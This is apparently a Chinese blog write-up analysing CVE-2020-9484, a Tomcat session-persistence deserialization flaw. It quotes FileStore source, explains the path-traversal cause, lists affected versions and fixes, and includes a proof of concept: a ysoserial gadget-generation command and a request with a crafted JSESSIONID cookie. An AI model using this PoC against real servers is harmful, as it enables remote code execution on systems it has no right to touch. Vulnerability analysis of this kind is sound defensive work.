zoukankan      html  css  js  c++  java
  • CVE-2020-9484 tomcat session反序列化漏洞分析与复现

    tomcat session持久化

    简介

    对 于一个企业级应用而言,Session对象的管理十分重要。Sessio对象的信息一般情况下置于服务器的内存中,当服务器由于故障重启,或应用重新加载 时候,此时的Session信息将全部丢失。为了避免这样的情况,在某些场合可以将服务器的Session数据存放在文件系统或数据库中,这样的操作称为 Session对象的持久化。Session对象在持久化时,存放在其中的对象以序列化的形式存放,这就是为什么一般存放在Session中的数据需要实 现可序列化接口(java.io.Serializable)的原因了。
        当一个Session开始时,Servlet容器会为Session创建一个HttpSession对象。Servlet容器在某些情况下把这些 HttpSession对象从内存中转移到文件系统或数据库中,在需要访问 HttpSession信息时再把它们加载到内存中。

    实现

    要完成session持久化,存放在session里的对象必须要实现java.io.Serializable 接口。Session的持久化是由Session Manager来管理的。Tomcat提供了两个实现类:

    1. org.apache.catalina.session.StandardManager  (默认)
    2. org.apache.catalina.session.PersistentManager

    配置

    存储在本地文件中需要配置conf目录里的context.xml文件在<Context>节点下添加如下<Manager>节点:

    <Manager className="org.apache.catalina.session.PersistentManager" 
        debug="0"
        saveOnRestart="false"
        maxActiveSession="-1"
        minIdleSwap="-1"
        maxIdleSwap="-1"
        maxIdleBackup="-1">
        <Store className="org.apache.catalina.session.FileStore" directory="../session" />
    </Manager>
    

    CVE-2020-9484

    漏洞简介

    当使用tomcat时,如果使用了tomcat提供的session持久化功能,如果存在文件上传功能,恶意请求者通过一个流程,将能发起一个恶意请求造成服务端远程命令执行。

    影响版本

    • <= 9.0.34
    • <= 8.5.54
    • <= 7.0.103

    漏洞分析

    根据上面配置的className="org.apache.catalina.session.FileStore" ,我们去寻找tomcat源码。这里我使用tomcat7.0.100的代码。

    查看FileStore的load方法,代码如下

        public Session load(String id) throws ClassNotFoundException, IOException {
            // Open an input stream to the specified pathname, if any
            File file = file(id);
            Context context = (Context) getManager().getContainer();
            FileInputStream fis = null;
            ObjectInputStream ois = null;
            Loader loader = null;
            ClassLoader classLoader = null;
            ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
            try {
                fis = new FileInputStream(file.getAbsolutePath());
                loader = context.getLoader();
                ois = getObjectInputStream(fis);
    
                StandardSession session = (StandardSession) manager.createEmptySession();
                session.readObjectData(ois);
                session.setManager(manager);
                return session;
    

    这里我们可以很明显的看出,load方法中,根据打开名为id的文件,将文件中的内容作为反序列化的输入。并且tomcat未过滤诸如../等危险目录。如果配合任意文件上传,传入一个gadget,并调用JSESSION让tomcat加载该上传文件,即可完成反序列化攻击。

    当然,在新版tomcat中,通过验证JSESSION的路径,解决该反序列化漏洞


    poc

    1. 使用ysoserial生成一个反序列化文件

    java -jar ysoserial.jar CommonsCollections2 "calc" > /tmp/22222.session

    2. 通过JSESSION加载恶意的session持久化文件

    GET /bug/api HTTP/1.1
    Host: 127.0.0.1:8080
    Cookie: JSESSIONID=evilFIle
    

    修复方案

    1. 检查是否使用tomcat的session持久化功能,如果有,建议关闭
    2. 检查项目中文件上传功能是否存在任意上传,这里任意上传指的是可以上传非jsp文件且可以控制上传文件名后缀为session
    3. 升级tomcat至最新版本
  • 相关阅读:
    【前端_js】前端跨网络异步获取资源——fetch()
    【前端_React】React小书
    【前端_js】JQuery DataTables插件的使用
    【前端_js】解决ajax跨域请求数据
    event.srcElement在火狐(FireFox)下的兼容问题。搜索框获得焦点时默认文字变化
    ASP.NET MVC 上传大文件时404
    使用Zen coding高效编写html代码
    CSS 去除列表项li前面的小圆点
    谈谈CSS的布局,display、position、float
    JS引用类型之——RegExp
  • 原文地址:https://www.cnblogs.com/potatsoSec/p/12931427.html
Copyright © 2011-2022 走看看